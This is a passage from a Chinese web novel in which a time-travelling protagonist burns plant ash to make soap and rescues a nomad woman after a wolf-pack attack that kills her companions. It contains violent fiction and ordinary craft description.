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月的时间,李逸通过打猎,制作一些奇怪的东西,一趟趟的往返县城和乡里,就让白雪儿她们过上了衣食无忧的生活,吃的甚至比以前家人都在时还好,而看村里的其他农户还在忍饥受冻。
李逸拨开杂草上的积雪,确认这下面都是扫帚草就带着二女开始忙碌。
因为天冷,积雪没有化成水,下面的干草依旧是比较干爽,稍微晾晒下被风吹一吹就能使用。
干草这种东西没有重量,明明抱得怀里都满了却还觉着很轻,这样一躺躺的往返不知道要多少次,好在李逸拿了麻袋过来,将这些扫帚草割下全都塞进麻袋中,然后拖着麻袋在雪地里行走,这样做省时省力。
如此往返了三趟,就割了一堆扫帚草。
“纯啊!我为什么不赶着骡车过来,那样一趟不就够了吗!”
李逸后知后觉,嘴角忍不住抽了下。
院里,张绣娘刚将豆面放进笼屉里准备蒸豆饼,看着时间还够,李逸又带着两女去到山脚的松树地里,从积雪下收集落地的干松针。
这期间李逸还意外的射中了两只野鸡,上次进山白雪儿只是跟着采药捡干蘑,第一次看李逸打到猎物兴奋的小脸红扑扑的,回来的路上她和陈玉竹一人拎着一只山鸡,不时调皮的互相逗弄,笑容明媚灿烂。
虽是现在生活和以前不同,但陈玉竹很喜欢。
“玉竹,雪儿,这会儿阳光好,你们把这些扫帚草和松针在院外空地上散开晾下。”
“嗯夫君,交给我和玉竹姐姐吧!”白雪儿欣然应下。
李逸洗手后估摸时间到了,和张绣娘一起将蒸熟的豆面放入模具中压实成豆饼,交给何铁牛让他那边盯着压榨豆油。
一整日劳作,从早到晚,也压榨了三百多斤黄豆,剩下不足三百斤黄豆明天就能全部压榨完,之后让何铁牛赶车去乡里把脱壳的粟米卖到粮店,顺便收些黄豆回来。
豆油这东西,李逸没打算大量售卖,卖给老王一些,他自己留着吃一部分,剩下用来制造肥皂卖。
而关于肥皂如何售卖的问题,思来想去还是要交给老王更靠谱,老王的人品是多次合作后检验出来的,跟他合作李逸最放心,也是图个省事。
虽说如果他自己去售卖利润可能会翻倍,但就和他之前想的一样,要顶在前面去应酬去和人钩心斗角,劳心又伤神,有那时间,他都不知道又手搓出多少东西了。
到目前为止,耕种这个生存技能依旧是一点熟练度都没有,如果说别的生存技能可以提前改变这个时代人的生活品质,唯独这个生存技能,是从基础改变现在百姓们所面临的困境。
缺衣少食!
农户们耕种的技术落后的可以用原始来形容,这一点都不夸张,所以才会出现亩产大多只有几十斤的情况。
一整年就种那么几百斤粮食,官家征收税粮又是按高产的耕地来计算,最后剩下在农户手中的粮食,省吃俭用也吃不了一年,能忍饥挨饿地活过来,挖野菜,吃草根起了关键作用。
原主李三是个饿死也不种地的懒汉,让他偷可以,抢可以,就是别让他种地干活。
仅存的记忆,还是李三看张绣娘种地。
这个时代所谓的种地,就是挖个坑将米种埋下,田埂是用来分割和别人地头的框框,种地根本不分垄也不人工灌溉,天生天养,种完后就祈求老天爷下雨,平日里拔草。
就这么种地,能种高产那便是见鬼了,不颗粒无收只能说是老天垂怜。
所以当时李逸说要种地时,张绣娘她们才会有那么诧异的表情。
试问,天下百姓还多都吃不饱穿不暖呢,他就是有想法有能力,也没办法推动时代巨轮加速向前,这种地便是一切的基础。
李逸不仅要种还要疯狂种,先以自身影响整个村子,之后以村子为起点去扩散,从而一步步达到改变整个大齐王朝,这在李逸来看是非常有意义的一件事......
第七十九章:煨烧草木灰
“哎!铁牛哥,等一下!”
李逸叫住驱车准备离开的何铁牛。
“咋了,李三兄弟”何铁牛回过头来问道。
李逸无语的翻了翻白眼:“李逸!李逸!这都多少章了,你还不改口是吗?”
何铁牛不好意思地挠挠头:“瞧我,又给忘了,叫习惯了,李逸兄弟,嘿嘿....这名真好听。”
“还有,你给陈嫂那丫头取的名字也要好听,苗苗”
“要不,你给我家小牛也起给名字吧”
李逸摇头:“不用,小牛挺好听的,以后孩子和牛犊子一样壮实,不好吗?”
何铁牛想了想,嘿嘿一笑:“也是,男娃嘛壮实点好,有力气”
“我这里有些包子,你到乡里给记得给我丈人送过去。”李逸将木桶塞进两个麻袋之间固定好:“知道药铺在哪吧?”
何铁牛连连点头:“我知道的,放心吧!”
“行,那你走吧,早去早回,路上当心着点,中午你直接在我丈人那吃一口,他不会介意的,争取天黑前回来啊”李逸又叮嘱了句。
“成!”
何铁牛应了句,用手中树枝抽打了下大骡子的屁股:
“驾....”
之前去乡里,他都是自己或推或拉着木车,现在能赶着骡车那心情是明显不同的。
“呦!雪儿,你这衣服真好看咧!”见到白雪儿从屋里出来,刘氏笑着夸赞。
昨晚李逸多缝了一会儿,耗时三个晚上,总算是将白雪儿的这件衣服给缝制完了。
所有地方都剪裁得很合体,上衣的长度刚好盖住白雪儿圆溜溜的小屁股,领口和袖口的位置李逸都加了兔皮美观又保暖,下身的裤子虽是加了棉花却不显臃肿,脚上穿的是李逸参考现代雪地棉制作的矮靴,这一身让白雪儿看着是越发灵动可爱。
这不,白雪儿今天就忍不住换上了,得到了大家一致的夸赞,她心里美滋滋的。
陈玉竹离家归来时,将自己的所有衣服都收拾了过来,还有被褥。
旧衣全都分下去了,让新来的三个寡妇也都换了身更保暖的衣服,凡是在李逸着干活的,不出十天前后变化惊人。
这三个寡妇刚来时,一个个蓬头垢面破衣烂衫的,现在头发打理过,身上的衣服有得体干净,之前脸色蜡黄现在看着气色好了很多,精气神完全不同。
如今再跟村里别的寡妇再站在一起,差别那叫一个明显。
这可是让之前跟着大张寡妇一起过来**的那几个寡妇,悔得肠子都青了。
她们往日里和刘氏的关系都还可以,最近这几天晚上见黑就往何铁牛家跑,想着让何铁牛跟刘氏帮着说带点软话,她们也想吃饱穿暖也想有钱赚。
刘氏最是喜欢这种被人围着的感觉,不过上一次挨了揍后她收敛了许多,知道自家男人也是有脾气的,打她的时候是一带都不留手,所以她没敢大包大揽的应允什么,只说李逸这暂时活没有那么多,等缺人手时她会帮着说些软话。
今天的天气不错,这些寡妇就凑到李逸家后墙的墙根下,晒着太阳闻着香味,肚子里咕噜噜地叫个不停。
“哎呦....真香啊,闻着我觉得更饿了”
“谁说不是呢!李三家这是天天飘香味儿,真想尝一口,就怪那大张寡妇,害人精,活该被土匪杀了。”
“唉?你们发现没,刘氏那脸比之前都胖了一圈了,听她说李三每天管三顿饭,还能敞开了吃,有时候还有肉!”
“哎呦......你可别说了,越说我越饿,我都不知道敞开了吃是啥滋味。”
“谁说不是呢,李三现在可是长了能耐了,脑袋里全是赚钱的想法,还敢杀土匪,哎呦....以后可是不能惹他喽。”
“........”
今日无风,正是烧草木灰的好时机!
从一早何铁牛离开后,李逸就开始准备,冻土难挖,只有石稿和木铲可以利用,足足挖到中午他才挖好了用来烧草木灰的土坑。
一米五见方的土坑,深有半米多,虽是冻土很硬,李逸还是用木桩子将土坑的底部给夯实一些,也让底部更平整。
扫帚草晾晒了一天,摸着感觉不到任何水分,若是赶上天热雪化成水,想要晾晒干了得好几天。
因为扫帚草是贴着地面割断的,省略了去根去土的过程,李逸让白雪儿和陈玉竹帮着他一起将这些扫帚草捆成几乎相同的小捆。
“夫君,你这是要干什么啊?当柴火吗?”白雪儿问道。
李逸抬起头回答道:“要把它们炒成草木灰。”
“烧灰?”陈玉竹侧头同样疑惑不解。
既然要烧灰,那完全可以丢到锅灶里,烧完后扒出来不就是灰吗?也不用捆成一捆捆的。
李逸看出他们心中的疑惑,笑着说:
“有些东西,夫君我也一句半句难以解释得清,只能说我要的草木灰有些特别,不是寻常的灶灰”
“哦....玉竹知道了”陈玉竹乖巧点头。
一切准备就绪,李逸先在土坑底部铺了一层干草,然后将一捆捆扫帚草以井字形摆放。
用扫帚草烧制草木灰的关键是要煨烧,只冒烟不能看到明火的那种,在浓烟滚滚中缓慢地燃烧。
将所有扫帚草摆好后,还要在上面铺上一层浮土,这样下面的扫帚草就很难烧成明火。
李逸回到院子中拿出一根燃烧的木条,从土坑边缘下铺着的干草开始引燃,让干草烧到摆放扫帚草区域后再一点点逐步引燃。
干柴烈火,干燥的扫帚草遇到明火迅速燃烧,看那势头有瞬间燃烧的架势,李逸见状连忙又撒了些土,这些土撒上后明火就看不到了,下面的扫帚草开始有滚滚浓烟冒出。
“雪儿,玉竹,你们回院子去吧,这烟呛人。”
李逸挥手将陈玉竹和白雪儿赶回院子,他一个人留下在这里盯着。
煨烧是一个很漫长的过程,这么多扫帚草烧透需要一下午的时间,在扫帚草烧成半黑后开始添加新的扫帚草,继续控制着,烟少要熄了就扒开些浮土让空气进去,见火要烧起来,就继续加浮土,反反复复的操作。
李逸表现出了超强的耐心,就那么蹲在坑边守着,白雪儿她们时不时就要到院门口看一眼,秦心月和于巧倩也都过来询问过。
虽是看不懂,但她们都能看出李逸的专注和在乎,说明他所做的这件事非常重要!
直至太阳落山天色渐暗,土坑里的扫帚草才全部煨烧完毕,此时的扫帚草完全碳化,呈现出黑色和灰白色,每二十多斤干燥的扫帚草,才能烧出一斤优质的草木灰。
何铁牛也在这个时候返回,板车上不仅是拉着几袋黄豆,还有李逸所需要陶罐和大陶翁。
“李逸兄弟,你这是在烧啥啊?”何铁牛过来,向土坑里看了眼问道。
“烧点能吃的草木灰”李逸精简地回答。
“啥?草木灰还能吃?”何铁牛瞪大双眼。
一看他这表情,就知道他所想的和李逸说的根本不是一件事。
不过他们这些人无法理解,也是正常的,李逸要不是看过知道这个知识点,他也会感觉无法理解。
硬是要说,这算是化学这门领域的知识,不是看表象而是看那些细微到肉眼看不见的元素变化。
“铁牛哥,你想错了,不是直接吃,算了,等我最后弄出来你们就知道了”
何铁牛挠头:“我是看不懂,李逸兄弟你弄就行了,需要**啥你就直接说。”
等到这些草木灰凉透时,天色都彻底黑了下来,顶着头顶的大月亮,李逸扒开表面的浮土,顾不上筛选,将下面的草木灰全都收进陶罐里,留着明天白天继续弄。
大鲜卑山深处......
乌兰和两个族人躲在山缝中避风,三人并排而坐从怀中摸出肉干小口小口地咀嚼着。
从部落离开进入这圣山,他们已经走了两天,现在还在这圣山的深处,又冷又乏累的滋味很难捱。
乌兰的一双大眼睛在黑暗中似有着微光,她轻声问道:“骨延,我们还要走多久才能穿过圣山,到那中原”
她
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旁的男人咽下口中的肉干后,想了想说道:“嗯.....大概还要走两个白天吧”
四人之中就他有过跟着老斥候穿过圣山进入中原的经历,所以这一路都是他在做向导。
乌兰低头思索着她们身上携带的食物和水够不够,现如今是冬日,没有水他们可以用雪水,若是在夏日就必须沿着有水源的路线走。
“乌兰,你睡吧,我和风律我们两个轮流守夜,你不该来的,天这么冷真的太难熬了”
乌兰轻哼一声:“你不要瞧不起我们女人,秃发部落的女人都能吃苦,也能成为部落的勇士。”
骨延无奈地笑了笑,乌兰就是这样一个骄傲的姑娘,她美丽,勇敢,有自己的想法,这也导致她看不上族里的其它男人,认为只有真正的勇士才有资格征服她,才有资格进入她的毡房。
“中原那边是什么样子的?他们也住毡房吗?他们有很多牛羊吗?”
乌兰有些好奇地问,她最是喜欢骑着骏马在辽阔的草场飞驰的感觉,但听族中的中原人说,他们那边没有这么好的草场。
骨延笑着回答:“中原人不住毡房的,他们住的都是没办法拆的木屋,住在那里就一直不动了,他们没有牛羊,不放牧,他们只种地,种那种可以熬成糊糊的粟米”
似是想到了什么,乌兰微微皱着眉说道:“就是那种和草籽一样的粟米吗,咽不下去,我吃着还不如我们的草籽好吃呢。”
这时另一个族人风律开口:“不是的,我听工匠说,那种粟米是要脱壳之后再煮着吃的,硬壳里面包着的才是米粒。”
乌兰兴致缺缺:“算了,听说他们也吃不饱饭,那种粟米肯定没有多少,还是抢些女人回去生孩子吧,人多了我们部落就能变得强大,等我们部落比拓跋部落的人还多,肯定能战胜他们!”
“嗷呜.......”
一声狼嚎打断了三人的低声交谈,最外侧的风律站起身,三人都警觉地看向山缝外。
“是那三只狼,它们跟了我们一天了!该死的狼!”风律声音低沉。
乌兰却似是没有多在意,因为她曾经就射死过狼王,狼王的牙齿现在就挂在哥哥乌孤的脖子上。
“没事的,白天它们根本不敢靠近,晚上只要我们小心些别被偷袭,就不需要怕它们。”乌兰说的颇为自信。
骨延张了张嘴欲言又止,最终还是没有说出口。
三只狼确实不可怕,只怕是这三只狼尾随着他们,就是在等狼王带着更多同伴过来,到那时面对的就不是三只狼,而是十几二十几只!
在辽阔的草原上,视野开阔可以从很远用弓箭射杀,在山林中只有很接近时才有机会射箭,而这时也往往是的最危险。
风律似是心有所感,在黑暗中转头看向骨延,二人默契地微微点头。
如果有危险,他们可以死,作为首领妹妹的乌兰,她必须活着回去!
大荒村......
李逸早早起来练功,如此佛系的练功方式,让他觉得若是穿越高武世界,他也能利用这系统搞点事情。
武功练得和做每日任务一样,一天就固定五轮获得5点技能熟练度。
都不需要他动脑子,前后一百天只要勤而不辍,必然可以将武功提升到下一个等级,不过再下一等级那需要2000点熟练度,在熟练度获取不提升的情况下,算下来便是整整400天。
400天!相比较于其它的技能熟练度获取,这个400天着实有些恐怖了。
但若将这武功技能从正常的生存技能中单独摘出来,当做是一个额外附赠的福利,如此一想那就合理多了.....
李逸打开陶罐看了眼里面的草木灰,烧得很不错就是还少了一些,今天还要在弄些扫帚草,另外再挖一个坑用来烧松针,这两种没有办法放在一起烧。
虽说有些人会觉得在这些环节上太过浪费时间,但李逸觉得是值得的,将最繁琐的环节用在基础上,就能提升后面的效率,以及最后结果的质量.....
第八十章:狼群!狼王!
只是烧制草木灰,前后李逸就用了两天的时间,这才刚完成第一步,相比之前弄的那些要更繁琐,这就是古法的弊端,有些环节无法精简。
这就和毛皮的硝制一样,李逸之前剥皮的那些动物毛皮,只经过简单的处理,用**刮掉皮下油脂,放在水里浸泡后再晾晒。
正常情况下通过盐硝法或者芒硝法炮制,毛皮才能更柔顺耐用,但之前李逸根本不具备条件,使用盐硝法消耗的盐,每次都要用斤来计算,这太奢侈了。
另外一种古法,就是用树皮捣碎研磨制造鞣液,最好的选择是橡树和杨梅树,但受限地理位置的原因大荒村这边没有,就地取材只能选油松,桦树,白杨,每一种都有不同的效果,根据皮**做出选择。
例如白桦树皮制造的鞣液,最适合白色和浅色的毛皮,不会影响原有的颜色。
鞣制毛皮的整个过程很耗时,首先要刮干净皮**的油脂层,防止皮**变质,之后用草木灰水浸泡半天,预制结束后再用树皮制作的鞣液浸泡七到十天,每天固定搅拌几次,晾干之后再拉伸好,皮**才算彻底鞣制完毕。
前前后后加起来了消耗十多天,在天气转冷要急用的情况下无法顾及这些,只能做简单处理后。
嘭嘭嘭......
这是何铁牛在锤击压榨豆油,其他人也都在忙碌着。
李逸将三个盛放草木灰的陶罐拿来,两个里面是扫帚草的草木灰,一个里面是松针的草木灰,仔细筛选出未燃烬的杂质,只留下最细腻的草木灰。
将扫帚草草木灰和松针草木灰以,以三比一的比例融合,之后再以重量一比五的比例加入清水,以放置后的井水或者雨水最佳。
用木棒不停地搅拌,整个过程持续约半个小时,让草木灰和水完全融合,将大陶翁盖上静置十二到二十四个小时,目的是让碱性物质更充分地溶解在水中。
因为天气太冷,陶翁不能放在院子里,李逸将两个陶翁小心地搬起到放到里屋。
虽说需要静置的时间有些太久,但这也是没有办法的事情,必须经过耐心的等待。
李逸在灶台上拿起盛放猪油的陶罐,放凉的猪油是黄白色的凝固在一起,细腻的感觉看起来就像是冰淇淋,陶罐盖子一打开,一股有腥味钻入了鼻腔。
没有对比就没有伤害,豆油不出现时能有猪油吃就是腥一点李逸也能接受,制作出豆油后便会觉得这腥味格外浓,当然在炒菜时,豆油中加入一些猪油,还是有提味增香的效果的。
“要做肥皂的话,这猪油还是不够啊”
李逸皱眉,见还没到正午他准备进山里碰碰运气,若是能找到那赤狐今天的猎物就有着落了。
见李逸背上了弓箭,在帮忙研磨豆粉的秦心月美眸放光。
“心月,你在家帮忙吧,我进山里很快就能回来的”
虽是心中小有失望,秦心月还是听话地点头应下,继续帮着研磨豆粉。
压榨这豆油比之前做任何吃食都繁琐,需要的人手多,陈氏和另外三个寡妇负责炒豆,秦心月,刘氏,白雪儿,陈玉竹负责用石磨磨豆粉,张绣娘负责蒸豆粉弄成豆饼,最后交给何铁牛压榨豆油。
之前还能馒头和豆腐分两边一起做,现在忙的豆子和大丫也要帮着拿木柴烧火。
唯一闲着的于巧倩要在屋里帮着照看两个孩子,陈氏的孩子和小牛都太小,离不开人照顾的,她偶尔去和白雪儿,陈玉竹替换下磨豆粉。
另一边.....
李逸以最快的速度进山,这一次他目标明确的去往两次遇到赤狐的区域。
“哪去了?猫冬了?”
李逸摘下皮帽子挠了挠头,古代这男人也留长头发着实不方便洗头,痒得厉害,他严重怀疑,自己这发源地里有辛巴。
弄出肥皂来,他一定要好好洗洗头才行,等天气暖和遍地野花时还可以将肥皂制作成香皂,一旦制造出来,大门大户的夫人小姐们没有一个能顶住诱惑的。
漫无目的朝山林深处走了一会,一抹熟悉的火红出现在前方,鲜艳的颜色在雪地中分外显眼。
李逸面露喜色,快速朝着那边走了几步,确认就是那只很通人性的赤狐。
很快他就发现了不对劲的地方,赤狐今日走路的姿势很不正常。
它见到李逸后微微仰着头看眼神也似开心的,但后腿的伤牵扯着让它根本走不快,一瘸一拐的看着就很可怜。
走到李逸身边,赤狐还是先绕着转了一圈,见李逸伸手它过来蹭了蹭李逸的手掌。
“怎么还受伤了,来,我帮你包扎一下吧”
李逸说着从物品栏里取出纱布和止血消炎的药粉,这些药粉是他自己晾晒的药材研磨的。
“别动,很快就好了”
赤狐一开始还有些抗拒,但在知道李逸是在帮助它后,便很配合地一动不动。
“可以了,这样伤口好得快点”李逸笑道。
【医术熟练度+2】
赤狐仰头对着李逸发出低低的叫声,好像是在说着谢谢。
李逸却是诧异这还能得到熟练度,不自觉的看向赤狐的另一条腿....
算了,那样做太过分了,心中否定了一个无耻想法,李逸摘下身后的反曲**:
“走,头前带....路!我给你报仇去!”
现如今,李逸已经将这整片山林划分为自己的猎场,再凶猛的野兽也顶不住一颗爆头的**,更何况狩猎大型的猛兽增加的熟练度还多,眼看着就能突破到下一等级,他的内心很是期待。
赤狐也算是这个猎场里的猎物,但它通人性能够给李逸指路,所以李逸和它现在的关系,算是一种另类的合作伙伴,有赤狐引路他能节省很多寻觅猎物的时间,狩猎效率大大提升。
现在刚尝到甜头,竟然有别的猎物敢狩猎他的小伙伴,这叔能忍,婶子也忍不了呀。
赤狐低声叫着,看模样竟是有些人性化的犹豫。
李逸摸了摸它的头:“有我在,你放心引路!”
确定了李逸的心意,赤狐转身在前面引路李逸在后面跟着,顺着山势逐渐深入山林。
这次走的时间较长,走了两个多小时,看赤狐的模样似乎还没有到达目的地。
“等下.....喝口水”
李逸拿出水囊灌了一大口,看赤狐走过来,他将水倒在掌心里让赤狐舔着喝光。
嗷呜......
嗷呜.......
两声狼吼依次出现,赤狐听后紧张地东张西望,李逸侧起耳朵,听这声音应该不是太远。
看赤狐这反应,八成就是这些野狼咬伤的它,能在狼口里死里逃生也算这赤狐命大。
“走!过去看看!”
虽说听声音这狼有不只一只,但李逸现在有着十足的底气,随着熟练度的提升,他的各项狩猎能力都跟着提升,百米之内箭无虚发这是他的绝对自信。
就是被野狼近身,李逸也有十成把握完成近身搏杀,5点力量属性配合《气合拳》练出的一口内气,他一瞬间的爆发力强得秦心月都震惊。
秦心月苦练这么多年才养出了一口内气,抵不上李逸配合《气合拳呼吸法》修炼十天的效果。
看秦心月当时震惊的表情,李逸就在心中赞叹,天赋虽是可以让人鹤立鸡群成为人中龙凤,但在挂逼面前是一文都不值啊,正所谓开挂一时爽,一时开挂!一直爽!
深林中某处......
听到狼嚎声,骨延和风律就意识到危险了,还不等他们跑到相对开阔的区域,一只只狼影从各个方向现身,竟是不知在何时开始,已经将他们包围了起来。
看这数量至少有十几只甚至更多,显然这是一只很强大的狼群。
嗷呜.....
那边的山石上,有一只狼的体型明显比其它野狼更大,长毛在风中浮动看着威风凛凛,这便是狼王,是统率这支狼群的领袖。
“那是狼王,杀了它这狼群就散了!”
乌兰一眼就看出狼王的身份,她反手从箭袋中抽出一支骨箭搭在牛角弓上,毫不犹豫地射出。
反曲弓,本就是源自游牧民族的牛角弓和羊角弓,配合精湛的骑术,骁勇善战的他们才总能以少胜多打败中原的士兵。
“乌兰!不要!”
骨延开口提醒时,乌兰手中的骨箭已经射出,因为角度不好骨箭刮到树
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枝,连狼王的影子都没擦到。
狼王仰发出雄浑的嚎叫声,周围的野狼接受到命令一同向着三人冲来,这是进攻的号令!
“哼!”
乌兰的脸上看不到一丝紧张害怕,抽出第二支箭拉弓搭箭,短暂地瞄准后她射向迎面向她冲来的一只野狼,这些骨箭每一支都是乌兰亲手打磨的,无比锋利。
前冲的野狼被一箭命中眼睛,在哀嚎中扑在雪地里。
乌兰的动作不停,再次拉弓搭箭,就这片刻功夫有两只野狼已经冲进了她的十米范围内。
不需要思考,乌兰随便选择了一只为目标,松开颗弓弦。
她虽是女子,但却是表现出了超出寻常男人的勇敢和果决,再想反手拿箭,另一只野狼已经冲到了她面前,后退用力蹬地飞扑而来!
一支骨箭,恰在此时飞来,准确地命中了这只飞扑的野狼,骨箭附着的力道和野狼扑起的力道对冲,野狼的身体在空中一顿没能成功扑到乌兰的身上。
乌兰扭头看了眼,发现是那边的骨延,他还保持着射箭的姿势,脸上露出如释重负的表情,然而在他那边,已经有三只野狼冲进了他的十米范围内!
“骨延!小心身后!”
乌兰大声提醒,虽是射箭帮助骨延解决了一只野狼,但也只能眼睁睁地看着骨延被野狼所扑倒在雪地里。
刚想过去帮他,眼角的余光瞥到有两道影子冲来,又担心混乱中射中骨延,她只能暂时调转方向射杀后面冲上来的野狼。
被扑倒的骨延,表现出了草原汉子的凶猛,他的喉咙中发出野兽般的嘶吼,用一只胳膊挡住野狼的撕咬,另一只手从腰间拔出用牛肋骨磨制的**,猛刺野狼的脖颈。
鲜血狂涌而出,滚烫的血液落在骨延的脸上和嘴里,让他看起来狰狞得犹如从地狱里爬出来恶鬼。
“啊......”
骨延发出惨嚎,他的一只脚腕被野狼咬住,那只野狼咬住后用力地拉扯他,他用另一只脚猛蹬野狼的头部,刚脱困身体就被庞大的阴影所笼罩。
那只狼王竟是不知道何时来到了他这边,不给骨延发起攻击的机会,狼王那有着锋利獠牙的大嘴,一口狠狠咬在他的脖颈上。
狼王的头颅晃动两下,骨延的手臂便无力地垂在雪地上,不甘的眼神一点点涣散,失去了生命的光彩......
嗷呜......
狼王**的嚎叫,一只粗大的前爪踩在骨延的尸体上。
“骨延!”
风律大声呼喊,片刻的分心让便让一只野狼冲到了面前将他扑倒。
“骨延!风律!”
有族人死伤,乌兰瞬间红了眼睛,迈步向着这边冲来。
眼下他们还剩两个人,野狼却还有八只,风律清楚如果两人继续下去,全都会死在这里。
他直接将左手塞进这头撕咬他的野狼嘴里,暂时阻挡了它的攻击,将腰间的一把石斧抽出,全力向狼王扔出!
“乌兰!快走!我们不能都死在这!告诉我的儿子,他的阿爹是部落里最勇敢的勇士!”
风律嘶吼着,拔出**和撕咬他的野狼拼命,野狼的脖子被他捅得鲜血淋漓。
风律摇摇晃悠地站起身,左臂无力地垂着,殷红的鲜血顺着他的手掌滴落在雪地上,将他脚下雪地染红。
乌兰将牙齿咬的咯咯响,掉转箭头瞄准就狼王射出!
“畜生!来追我啊!”
大喊一声,乌兰全力地在山林间奔跑,道路不平还有积雪,这一路她连滚带爬,祈求着自己能够将那些野狼都引走,给风律留下一条生路。
肺部传来灼痛的感觉,嘴里呼呼呼地喘着粗气,狼王的叫声响起,身后的野狼一同出动,追击这个敢冒犯狼王威严的生物。
“呀!!!”
风律手中拿着**,踉跄地追上来。
算上狼王在内还有七只野狼,如果它们去追乌兰,乌兰没有任何逃跑的希望。
风律的嘶吼声成功吸引了两只野狼,它们转身向着这边扑来。
风律踉跄跑到骨延的身边,强忍着左臂的疼痛捡起骨延的**握在手里。
“兄弟!我们死在一起,谁都不会孤单!”
第八十一章:夫君莫不是迷路了?
嗷呜.....
这一路赶过来,李逸听见好几次狼嚎,其中声音最浑厚的这个,听着应该狼王的叫声。
凭借多年老猎手的经验,不用想就能判断出,这可不是几只狼那么简单,应该是一整支狼群。
这就是有系统的好处,只要提升熟练度对应的生存技能就能提升,在需要用到时脑海中会对应出现相关的知识,还能通过大脑的影响,让大脑记忆转变为身体的记忆。
所以哪怕他狩猎的实际时间只有一个多月,但丰富的狩猎经验相当于多个老猎手的经验总和。
赤狐踌躇着不敢上前了,显然它也听出了那边有不只一只狼,还有狼王。
“算了,你在这等我,我自己过去!”
李逸摸着赤狐的头安抚了下,然后加快了赶向那边的速度,狼王刚才发出的那种叫声,根据老猎手的经验来分析,这是狼王让狼群发起进攻的号令,说明那边存在着它们的猎物。
李逸有些好奇,能让狼群出动的猎物,不是数量多就是具备危险性。
在这片山林里,论危险野狼能排第三,而剩下的两个一个是老虎,另一个是黑熊,至于雪豹这里应是没有的。
黑熊哥哥是不会给自己找罪受的,在入冬前它会吃得饱饱的,一入冬就开启下线冬眠模式,谁也别想让它在寒冷的冬天里起来打工,这是打工人最后的倔强。
“不是吧,狼群和虎大王干起来了?概率应该不大......”
“不是猛虎,难道是鹿群?”
李逸觉得这个可能性还是很大的,毕竟之前赤狐很随意的就带他找到了三头野鹿,且这山里的狍子也很多的。
“摸过去看看,若是偷袭能干掉狼王,事情会简单些”
“干不掉狼王,我就猥琐打游走,一只只慢慢杀”
心中有了计划,李逸脚下的步伐更快了,他现在算是体会到,什么是艺高人胆大。
前方有一个略显陡峭的山坡,从山势来看,在上了陡坡后便开始汇入到主脉,周围的光线逐渐昏暗,李逸估算了下回去要耗费的时间,既然已经是天黑前出不去的结果,他也不在意多黑那么一会。
李逸耳廓微动,他听到有脚步声临近,还夹杂着急促的呼吸声,那声音就仿佛是在卖力的拉动一个破风箱。
因为有落叶加上厚厚的积雪,如此踩在上面的声音并不明显,只有接近后才能听到。
来了!
李逸猛的抬起头,就看到上面的陡坡上出现了一道人影,还没有看清,这人就被后面窜起的一只野狼给扑倒,人和狼纠缠在一起沿着山坡滚落下来。
“嗯?”哪来的人!
“进山打猎的猎户吗?”
李逸顾不得多想拔出腰间的**,一个健步窜了上去,他对着这只狼的后脖颈狠狠地刺了两下,凶性十足的野狼,身体一僵趴就在下面的人身上,脖颈的血液汩汩流出。
【狩猎熟练度+60(当前熟练度1560)】
李逸上前一脚将野狼的尸体踢开,单手轻易就将这人拉到面前。
这人身上的皮衣几乎被撕烂了,浑身是血,分不清是他的还是那野狼的。
李逸顾不上去查看这人的伤势,快速拉弓搭箭,他这边动作刚好,陡坡上面就出现后面追击过来的野狼。
果断松开弓弦,这只狼刚一露头就被锋利的羽箭贯穿了头颅,尸体顺着山坡滚落下来。
李逸的动作不停,他眼下所处的这个位置非常的巧妙,他在这里只能看到上面陡坡边沿的区域,同样上面的野狼也只有到最边沿时才能发现他。
偏偏这个陡坡又有些高度,上面冲过来的野狼无法不管不顾地直接从上面飞身窜下来,这就给了李逸充分的准备时间,只要野狼露头就必死。
一连射杀了四只野狼后,上面就不再有动静,猎人的直觉让李逸嗅到危险,赤狐的叫声也在这个时候响起,声音很急促。
李逸连忙转身看向右前,那边陡峭的山坡上有着一只体型很大的野狼,身上的长毛随风而动,颜色介于灰色和银色之间,就这威风凛凛的气势,便是那狼王了。
嗷呜.......嗷呜.....
狼王发出叫声,双眼一直盯着李逸,在李逸要上前时它转头从这边离去,消失在山林之中。
“唉......可惜了.....”
李逸轻叹一声收回弓箭,刚才的距离太远超出有效杀伤的范围,若这狼王也在陡坡上出现,露头必死。
放走的是一只普通的野狼还好一些,放走一只狼王,这事怕是没完。
李逸快速将四只狼的尸体收入物品栏,狼肉不能吃但狼皮是好东西啊,另外粮油还有很高的药用价值,在收入物品栏之前,李逸卸了一条后退给了赤狐。
“这个给你,我家乡有句话叫吃啥补啥,你吃了这条大粗腿,保证你的腿伤能很快好的。”
赤狐发出略显尖锐的叫声,看那眉眼应是很开心的。
李逸来到树下,那人从陡坡上滚下来后就一动不动,也不知道是不是**,伸手探了探这人的鼻息,确认还有气,断定应该只是昏迷了。
既然发现还顺手救了下来,没理由再将他丢在这里等死,那不是李逸的风格。
“果然啊,我们蓝星人天生骨子里就是善良的......”
“也不对....多遇见几个碰瓷儿爷奶团,就长记性了”
说着李逸上前将这人给背了起来,虽说是都穿着皮袄,但背上后李逸马上就察觉出了异常。
嗯?这是个女人啊!
“我是有什么BUFF吗,怎么总捡女人?感觉我穿越后的人生,像是被一双无形的大手给安排了,不爽!”
李逸背着这女人走在前面,身后跟着一条瘸腿的赤狐,嘴里还叼着一条狼腿,这画面说不出的怪。
说到狐狸和狼,还有一层很有意思的关系。
狼和狐狸同属于犬科类动物,所以狼通常是将狐狸看成是同级别的竞争对手,它们咬死狐狸后是绝对不会吃狐狸的,即使是饿着肚子,这是骨子里遗传母狼的食性,不吃同类。
但反过来却是不一样,狐狸如果看到狼的尸体,即使是腐尸它也会上去吃的,它本就是食腐类的杂食动物。
走到和赤狐相遇的地方后,赤狐低叫两声离去,此时的天色,已经彻底黑了下来。
李逸依靠着本能直觉顺着山势向外走,过程中时不时地摸一下身后女人的脉搏确定她的状态。
她这凄惨的模样,甚至比起当日的秦心月情况还要严重,不同的是她身上的伤口,多都是被狼抓伤或者咬伤的。
李逸返回家里时,几女正在焦急地等待着,连张绣娘也在。
之前每次进山打猎,李逸都能赶在天黑之前回家,今天却是都黑透了也没见个人影,这没办法不让人担心。
秦心月从刚才就想进山去寻找,还是于巧倩劝说她,说若是夫君回来了发现在你没在家,他还要再返回去寻找,另外不是对山林情况熟悉到一种程度,这深山老林又黑漆嘛唔的,进去很容易就迷失方向出不来了。
“爱妃们,我回来了!”
李逸在院门口就大声喊了句,听到自家夫君这大逆不道的话,几女的脸上都露出无奈的笑容。
白雪儿和陈玉竹刚要走到外屋门口,就看到李逸背着什么进来,好像是个人!
“雪儿!玉竹!别发呆啊!快让让,再磨蹭一会儿,身后的这位可就凉了”
